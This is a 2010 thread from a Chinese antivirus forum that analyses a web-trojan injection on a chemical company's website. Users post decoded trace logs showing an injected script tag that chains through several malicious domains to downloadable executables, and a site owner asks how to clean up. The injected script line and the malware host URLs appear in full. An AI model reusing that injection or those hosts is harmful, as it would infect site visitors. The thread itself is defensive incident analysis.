http://baiyun.w229.bizcn.com/（宣城白云化工） bbs.ikaka.com

networkedition - 2010-3-17 15:44:00

Log is generated by FreShow.
[wide]http://baiyun.w229.bizcn.com/
[script]http://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556
[frame]http://360.318s.info:1000/360/index.html?id=1001
[object]http://360.318s.info:1000/360/mv-.html?id=1001
[object]http://b.vv49.com/js.exe
[frame]http://count25.51yes.com/sa.aspx?id=259340713&refe='+window.parent.location+'&location=http%3A//'+paramsArr[0]+'&color=32x&resolution=1280x1024&returning=1&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29
[script]http://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556
[script]http://js.users.51.la/443136.js
[script]http://www.linsoon.com/counte/counter.asp?name=qifuli&ys=16&hidden=1
[script]http://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)

辛达星郁 - 2010-3-17 17:21:00

关于:hxxp://pps.bestuusee.info/qc.html解密的日志(全体输出 - 21):

Level 1>http://baiyun.w229.bizcn.com/inc/style.css
Level 2>http://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556
Level 3>http://360.318s.info:1000/360/index.html?id=1001
Level 4>http://js.tongji.linezing.com/+tongji_num+/tongji.js
Level 4>http://js.tongji.linezing.com/1407368/tongji.js
Level 5>http://tongji.linezing.com/clickmap/load_clickmap.html?r=+Math.random
Level 6>http://tongji.linezing.com/clickmap/lzcm+/clickmap/proxy.html#+pw+|+ph
Level 5>http://js.tongji.linezing.com/1407368/bc110041
Level 4>http://js.tongji.linezing.com/1389409/tongji.js
Level 5>http://js.tongji.linezing.com/1389409/+url_id+/clickcollect.js
Level 5>http://tongji.linezing.com/clickmap/load_clickmap.html?r=+Math.random
Level 6>http://tongji.linezing.com/clickmap/lzcm+/clickmap/proxy.html#+pw+|+ph
Level 5>http://js.tongji.linezing.com/1389409/da036aaf
Level 4>http://360.318s.info:1000/360/safe.js
Level 5>http://360.318s.info:1000/360/knownImg.resList
Level 4>http://360.318s.info:1000/360/check.php?id=id
Level 2>http://www.linsoon.com/counte/counter.asp?name=qifuli&ys=16&hidden=1
Level 2>http://baiyun.w229.bizcn.com/baiyun/12.swf
Level 2>http://baiyun.w229.bizcn.com/a
Level 2>http://baiyun.w229.bizcn.com/x.src
Level 2>http://baiyun.w229.bizcn.com/x.oSrc

日志由 Redoce2.0第89次修正版于 2007-2-12 20:53:10 生成。

:kaka6: 是我没有解密成功，还是网马地址失效

season07 - 2010-3-18 10:02:00

请问网站被注入这一个代码，，如何解决哦。。

networkedition - 2010-3-18 10:25:00

找到删除之。

season07 - 2010-3-18 11:40:00

版主，，请问这一个主要是什么问题，是程序漏洞，还是服务器漏洞呢？

season07 - 2010-3-18 11:42:00

就这一台服务站全部被注入<script language="javascript" src="http://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556"></script>这一段代码，，被注入的页面，中文还变乱码呼。:kaka2:

networkedition - 2010-3-18 12:50:00

有注入多半是程序有漏洞了。

season07 - 2010-3-18 13:08:00

那是没有哦。。就只有比较固定名称啊：index,default,index,admin_top,admin_right，这一名称开头。都会被注入哦。

zxl0222 - 2010-3-18 15:23:00

关于:hxxp://baiyun.w229.bizcn.com/解密的日志(全体输出 - 13):

Level 0>http://baiyun.w229.bizcn.com/
Level 1>http://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556
Level 2>http://count25.51yes.com/sa.aspx?id=259340713&refe=+window.parent.location+&location=http%3A//+paramsArr
Level 2>http://360.318shop.info:1000/360/index.html?id=1001
Level 3>http://360.318shop.info:1000/360/me-.html?id=7
Level 4>http://360.318shop.info:1000/360/7//a.jpg
Level 5>http://my.me-1.info:8886/Down/my/7.exe
Level 1>http://www.linsoon.com/counte/counter.asp?name=qifuli&ys=16&hidden=1
Level 1>http://img.users.51.la/443136.asp
Level 1>http://baiyun.w229.bizcn.com/baiyun/12.swf
Level 1>http://baiyun.w229.bizcn.com/a
Level 1>http://baiyun.w229.bizcn.com/x.src
Level 1>http://baiyun.w229.bizcn.com/x.oSrc

日志由 Redoce2.0第89次修正版于 2010-3-18 15:21:35 生成。

zxl0222 - 2010-3-18 15:37:00

关于:hxxp://360.318shop.info:1000/360/index.html?id=1001解密的日志(全体输出 - 17):

Level 0>http://360.318shop.info:1000/360/index.html?id=1001
Level 1>http://360.318shop.info:1000/360/mv-.html?id=5
Level 2>http://b.vv49.com/js.exe
Level 1>http://360.318shop.info:1000/360/mp-.html?id=5
Level 2>http://360.318shop.info:1000/360/mp/f.css
Level 2>http://360.318shop.info:1000/360/mp/e.jpg
Level 2>http://360.318shop.info:1000/360/mp/d.css
Level 2>http://360.318shop.info:1000/360/mp/c.jpg
Level 2>http://360.318shop.info:1000/360/5/a.jpg
Level 3>http://my.me-1.info:8886/Down/my/5.exe
Level 1>http://360.318shop.info:1000/360/pop.html?id=5
Level 2>http://www.adoutput.com/version2/hit.cfm?type=
Level 2>http://360.318shop.info:1000/360/popup.swf
Level 2>http://javascript:parent.fV11
Level 1>http://360.318shop.info:1000/360/me-.html?id=5
Level 2>http://360.318shop.info:1000/360/5/a.jpg
Level 3>http://my.me-1.info:8886/Down/my/5.exe

日志由 Redoce2.0第89次修正版于 2010-3-18 15:35:58 生成。

念初 - 2010-3-18 16:42:00

关于:hxxp://baiyun.w229.bizcn.com/解密的日志(全体输出 - 12):

Level 1>http://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556
Level 2>http://count25.51yes.com/sa.aspx?id=259340713&refe=+window.parent.location+&location=http%3A//+paramsArr
Level 2>http://360.318shop.info:1000/360/index.html?id=1001
Level 3>http://360.318shop.info:1000/360/mv-.html?id=1001
Level 4>http://360.318shop.info:1000/360/+id+/a.jpg
Level 4>http://b.vv49.com/js.exe
Level 3>http://360.318shop.info:1000/360/pop.html?id=1001
Level 4>http://www.adoutput.com/version2/hit.cfm?type=
Level 3>http://360.318shop.info:1000/360/me-.html?id=1001
Level 3>http://b.vv49.com/js.exe
Level 1>http://baiyun.w229.bizcn.com/a
Level 1>http://www.linsoon.com/counte/counter.asp?name=qifuli&ys=16&hidden=1

日志由 Redoce2.0第88次修正版于 2010-3-18 16:41:58 生成。

辛达星郁 - 2010-3-18 19:03:00

Log is generated by FreShow.
[wide]http://360.318shop.info:1000/360/mp-.html?id=1001
[script]http://360.318shop.info:1000/360/\'"+
[script]http://360.318shop.info:1000/360/\'mp/c.jpg\'
[script]http://360.318shop.info:1000/360/\'mp/d.css\'
[script]http://360.318shop.info:1000/360/\'mp/e.jpg\'
[script]http://360.318shop.info:1000/360/\'mp/f.css\'

Log is generated by FreShow.
[wide]http://360.318shop.info:1000/360/mv-.html?id=1001
[object]http://b.vv49.com/js.exe
[script]http://360.318shop.info:1000/360/\'"+id+"/a.jpg\'

原始 - hxxp://baiyun.w229.bizcn.com/
原始 - hxxp://cssx.darktech.org/css.js?width=700&height=600&keyword=ua556
原始 - hxxp://baiyun.w229.bizcn.com/a;
原始 - hxxp://baiyun.w229.bizcn.com/x.oSrc;
原始 - hxxp://baiyun.w229.bizcn.com/x.src;
原始 - hxxp://baiyun.w229.bizcn.com/a[i+2];
原始 - hxxp://baiyun.w229.bizcn.com/baiyun/12.swf
原始 - hxxp://www.linsoon.com/counte/counter.asp?name=qifuli&ys=16&hidden=1

原始 - hxxp://360.318shop.info:1000/360/index.html?id=1001
原始 - hxxp://360.318shop.info:1000/360/about:blank
原始 - hxxp://360.318shop.info:1000/360/mp-.html?id=1001
原始 - hxxp://360.318shop.info:1000/360/mv-.html?id=1001

此分析日志由辛达使用 Astox v1 Build 1200 在 2007年2月13日22时35分13秒生成。

瑞星卡卡安全论坛